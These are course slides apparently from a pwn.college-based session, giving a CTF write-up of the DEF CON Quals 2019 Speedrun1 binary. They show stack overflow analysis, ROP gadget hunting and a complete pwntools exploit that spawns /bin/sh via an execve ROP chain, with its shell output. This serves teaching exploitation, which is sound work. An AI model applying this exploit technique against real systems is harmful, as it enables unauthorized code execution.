PWN College

Session 12

Atousa Ahsani

References: https://pwn.college/, https://guyinatuxedo.github.io/

Stack Buffer Overflows

Defcon Quals 2019 Speedrun1

DCQuals'19 Speedrun1

- It is a **64-bit statically** compiled binary. This binary has **NX** (**Non-Executable** stack) **enabled**, which means that the stack memory region is **not executable.**

```
→ dcquals19_speedrun1 file speedrun-001
speedrun-001: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux
 3.2.0, BuildID[sha1]=e9266027a3231c31606a432ec4eb461073e1ffa9, stripped
→ dcquals19_speedrun1 checksec speedrun-001
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

- We can check the **memory mappings** with the ***vmmap*** command while the binary is running.

```
0x00000000004498ae in ?? ()
gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x004b6000         r-xp      /home/speedrun-001
0x006b6000         0x006bc000         rw-p      /home/speedrun-001
0x006bc000         0x006e0000         rw-p      [heap]
0x00007ffff7ff9000 0x00007ffff7ffd000 r--p      [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp      [vdso]
0x00007ffffffde000 0x00007ffffffff000 rw-p      [stack]
0xffffffffff600000 0xffffffffff601000 --xp      [vsyscall]
```

DCQuals'19 Speedrun1

- Since the binary is **statically** compiled, that means that the ***libc*** portions that the binary needs are compiled with the binary. So ***libc*** is **not linked** to the binary (as you can see there is **no *libc* memory region**).
- As a result, there are a lot of potential **gadgets** for us to use. In addition to that, since **PIE** is **not enabled** we know the addresses of all of those gadgets.
- Also since the binary has a lot more code in it as a result of being statically compiled, ***ghidra*** will take a bit of time to analyze it.
- When we run the binary, it essentially just prompts us for input.

```
➜  dcquals19_speedrun1 ./speedrun-001
Hello brave new challenger
Any last words?
hello
This will be the last thing that you say: hello

Alas, you had no luck today.
```

DCQuals'19 Speedrun1

- When we take a look at the binary in ***Ghidra***, we see a **long list** of **functions**.
- To find out which one actually runs the code we look for, we can look at the ***entry*** function.
- Or we can use the ***backtrace*** (***bt***) command in **gdb** when it prompts us for input, which will tell us the functions that have been called to reach the point we are at.

```
gdb-peda$ r
Starting program: /home/atousa/PWNCollegeCourse_TMU/12/dcquals19_speedrun1/speedrun-001
Hello brave new challenger
Any last words?
^C
Program received signal SIGINT, Interrupt.
 ⋮
0x00000000004498ae in ?? ()
gdb-peda$ bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()
```

- You can just push ***g*** in ghidra and enter the address.

DCQuals'19 Speedrun1

- ***0x400c1d*** looks like it's the **main** function.
- The functions ***FUN_00400b4d*** and ***FUN_00400bae*** just print out text.
- The **FUN_00400b60** function shows us something interesting.
- We can see it **prints** out a message, runs a function (which is based on using the binary and the order of the messages, probably **scans in** data), then **prints** a message with **our input**.

```
undefined8
FUN_00400bc1(undefined8 uParm1,undefined8 uParm2,undefined8 uParm3,undefined8 uParm4,
            undefined8 uParm5,undefined8 uParm6)

{
  long lVar1;

  FUN_00410590(PTR_DAT_006b97a0,0,2,0,uParm5,uParm6,uParm2);
  lVar1 = FUN_0040e790("DEBUG");
  if (lVar1 == 0) {
    FUN_00449040(5);
  }
  FUN_00400b4d();
  FUN_00400b60();
  FUN_00400bae();
  return 0;
}
```

```
void FUN_00400b60(void)

{
  undefined local_408 [1024];

  FUN_00410390("Any last words?");
  FUN_004498a0(0,local_408,2000);
  FUN_0040f710("This will be the last thing that you say: %s\n",local_408);
  return;
}
```

DCQuals'19 Speedrun1

- It appears to be **scanning in** our input by making a ***syscall***, versus using a function like ***scanf*** or ***fgets***.
- A *syscall* is essentially a way for your program to request your **OS** or **Kernel** to do something.
- This function seems a bit weird. Recall the ***bt*** command result. The *SIGINT* signal happened in ***0x4498ae***. We see that this address is located right after a syscall which is the first syscall inside the if condition.
- In the assembly code, we see that it sets the ***RAX*** register equal to ***0*** by xoring eax by itself.
- For the linux **x64** architecture, the contents of the rax register decides what ***syscall*** gets executed. And when we look on the syscall chart, we see that it corresponds to the ***read*** syscall.

```
undefined8 FUN_004498a0(undefined8 uParm1,undefined8 uParm2,undefined8 uParm3)

{
  uint uVar1;

  if (DAT_006bc80c == 0) {
    syscall();
    return 0;
  }
  uVar1 = FUN_0044be40();
  syscall();
  FUN_0044bea0((ulong)uVar1,uParm2,uParm3);
  return 0;
}
```

```
004498aa 31 c0        XOR       EAX,EAX
004498ac 0f 05        SYSCALL
004498ae 48 3d 00     CMP       RAX,0xfffff000
         f0 ff ff
```

DCQuals'19 Speedrun1

- We don't see the arguments being loaded for the **syscall**, since they were already loaded when this function was called.
- Recall the calling convention of amd64. The input arguments of a function will be loaded into ***rdi***, ***rsi***, ***rdx***, ***rcx***, ***r8***, ***r9***.
- The arguments this function takes and the registers they take it in, are the **same** as the ***read*** *syscall*, so it can just call it after it zeroes at ***rax***.

%rax	System call	%rdi	%rsi	%rdx
0	sys_read	unsigned int fd	char *buf	size_t count

```
FUN_004498a0(0,local_408,2000);
```

- So with that, we can see it is **scanning in 2000 bytes** worth of input into ***local_408*** which can hold 1024 bytes. We have an **overflow** that we can overwrite the **return address** with and get **code execution**.

DCQuals'19 Speedrun1

- **The question now is what to do with it?**
- We will be making a **ROP Chain** (**R**eturn **O**riented **P**rogramming) and using the **buffer overflow** to execute it.
- A ROP Chain is made up of **ROP Gadgets**, which are bits of code in the binary itself that end in a ***ret*** instruction (which will carry it over to the next gadget).
- We will essentially just stitch together pieces of the binary's code, to make code that will give us a **shell**. Since this is all valid code, we don't have to worry about the code being non-executable.
- Since **PIE** is **disabled**, we know the addresses of all of the binary's instructions.
- Also since it is **statically** linked, that means it is a **large binary** with **plenty** of **gadgets**.

DCQuals'19 Speedrun1

- We will be making a **rop chain** to make a ***execve*** *syscall* to execute ***/bin/sh*** to give us a shell. We need the following registers to have the following values.

```
rax:   0x3b                 Specify execve syscall
rdi:   ptr to "/bin/sh"   Specify file to run
rsi:   0x0                  Specify no arguments
rdx:   0x0                  Specify no environment variables
```

- Now our **ROP Chain** will have three parts.
  - The **first** will be to write ***/bin/sh*** somewhere in memory, and move the pointer to it into the ***rdi*** register.
  - The **second** will be to move the necessary values into the other **three** registers.
  - The third will be to make the ***syscall*** itself.
- Other than finding the gadgets to execute, the only thing we need to really do prior to writing the exploit is **finding** a **place** in memory to **write** ***/bin/sh***.

DCQuals'19 Speedrun1

- Let's check the **memory mappings** while the elf is running to see what we have to work with:

```
gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x004b6000         r-xp      /home/speedrun-001
0x006b6000         0x006bc000         rw-p      /home/speedrun-001
0x006bc000         0x006e0000         rw-p      [heap]
0x00007ffff7ff9000 0x00007ffff7ffd000 r--p      [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp      [vdso]
0x00007ffffffde000 0x00007ffffffff000 rw-p      [stack]
0xffffffffff600000 0xffffffffff601000 --xp      [vsyscall]
gdb-peda$ x/20g 0x006b6000
0x6b6000:       0x0000000000000000      0x0000000000000000
0x6b6010:       0x0000000000000000      0x0000000000000000
0x6b6020:       0x0000000000000000      0x0000000000000000
```

- Looking at this, the **elf** memory region between ***0x6b6000-0x6bc000*** looks pretty good. There are a few reasons why I choose this.
  - The first is that it is from the elf's memory space that doesn't have **PIE**, so we know what the address is without an **infoleak**.
  - In addition to that, the permissions are ***rw*** so we can **read** and **write** to it.
  - Also there doesn't appear to be anything stored there at the moment, so it probably won't mess things up if we store it there.

DCQuals'19 Speedrun1

- let's find the **offset** between the start of our **input** and the **return address**.
- We set a breakpoint right after ***FUN_004498a0*** is called.

- let's find the **offset** between the start of our **input** and the **return address**.
- We set a breakpoint right after ***FUN_004498a0*** is called.

- So we can see that the **offset** is $0x7fffffffde38 - 0x7fffffffda30 = 0x408 = 1032$ **bytes**.

```
gef➤  b* 0x400b90
Breakpoint 1 at 0x400b90
gef➤  r
Starting program: /home/speedrun-001
Hello brave new challenger
Any last words?
hello

Breakpoint 1, 0x0000000000400b90 in ?? ()
gef➤  search-pattern hello
[+] Searching 'hello' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffda40 - 0x7fffffffda47  →   "hello\n"
gef➤  info f
files          float          frame          frame-filter   functions
gef➤  info frame
Stack level 0, frame at 0x7fffffffde50:
 rip = 0x400b90; saved rip = 0x400c1d
 called by frame at 0x7fffffffde70
 Arglist at 0x7fffffffda38, args:
 Locals at 0x7fffffffda38, Previous frame's sp is 0x7fffffffde50
 Saved registers:
  rbp at 0x7fffffffde40, rip at 0x7fffffffde48
```

DCQuals'19 Speedrun1

- Now we just need to find the **ROP gadgets**.

```
→ dcquals19_speedrun1 ROPgadget --binary speedrun-001 | grep "pop rax ; ret"
0x0000000000415662 : add ch, al ; pop rax ; ret
0x0000000000415661 : cli ; add ch, al ; pop rax ; ret
0x00000000004a9321 : in al, 0x4c ; pop rax ; retf
0x0000000000415664 : pop rax ; ret
0x000000000048cccb : pop rax ; ret 0x22
0x00000000004a9323 : pop rax ; retf
0x00000000004758a3 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
→ dcquals19_speedrun1 ROPgadget --binary speedrun-001 | grep "pop rdi ; ret"
0x0000000000423788 : add byte ptr [rax - 0x77], cl ; fsubp st(0) ; pop rdi ; ret
0x000000000042378b : fsubp st(0) ; pop rdi ; ret
0x0000000000400686 : pop rdi ; ret
→ dcquals19_speedrun1 ROPgadget --binary speedrun-001 | grep "pop rsi ; ret"
0x000000000046759d : add byte ptr [rbp + rcx*4 + 0x35], cl ; pop rsi ; ret
0x000000000048ac68 : cmp byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000044be39 : pop rdx ; pop rsi ; ret
0x00000000004101f3 : pop rsi ; ret
→ dcquals19_speedrun1 ROPgadget --binary speedrun-001 | grep "pop rdx ; ret"
0x00000000004a8881 : js 0x4a8901 ; pop rdx ; retf
0x00000000004498b5 : pop rdx ; ret
0x000000000045fe71 : pop rdx ; retf
→ dcquals19_speedrun1 ROPgadget --binary speedrun-001 | grep ": syscall"
0x000000000040129c : syscall
```

DCQuals'19 Speedrun1

- So we need a gadget that will **write** an **eight byte** value (***/bin/sh***) to a memory region. For this we start my search by searching through the gadgets with ***mov qword*** in them.

```
→ dcquals19_speedrun1 ROPgadget --binary speedrun-001 | grep ": mov qword"
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
```

- So we will overwrite the **return address** with the **first gadget** of the ROP chain, and when it returns it will keep on going down the chain until we get our shell.
- Also for moving values into registers, we will **store** those **values** on the **stack** in the ROP Chain, and they will just be popped off into the registers.

DCQuals'19 Speedrun1

- Part 1:

```python
from pwn import *

target = process('./speedrun-001')

popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)

# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
syscall = p64(0x40129c)
```

- Part 2:

```python
'''
Here is the assembly equivalent for these blocks
write "/bin/sh\x00" to 0x6b6000

pop rdx, "/bin/sh\x00"
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00"
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
```

```python
Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
```

DCQuals'19 Speedrun1

- Part 3:

```python
# Add the padding to the saved return address
payload = "0"*0x408 + rop

# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)

target.interactive()
```

```
➜  dcquals19_speedrun1 python2.7 exploit.py
[+] Starting local process './speedrun-001': pid 20561
[*] Switching to interactive mode
Hello brave new challenger
Any last words?
This will be the last thing that you say: 00000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000\xb5\x98D
$ ls
exploit.py  peda-session-speedrun-001.txt  readme.md  speedrun-001
```